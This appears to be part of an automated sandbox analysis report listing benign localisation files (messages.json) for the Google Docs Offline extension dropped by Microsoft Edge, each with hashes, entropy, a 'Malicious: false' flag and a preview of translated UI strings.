Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

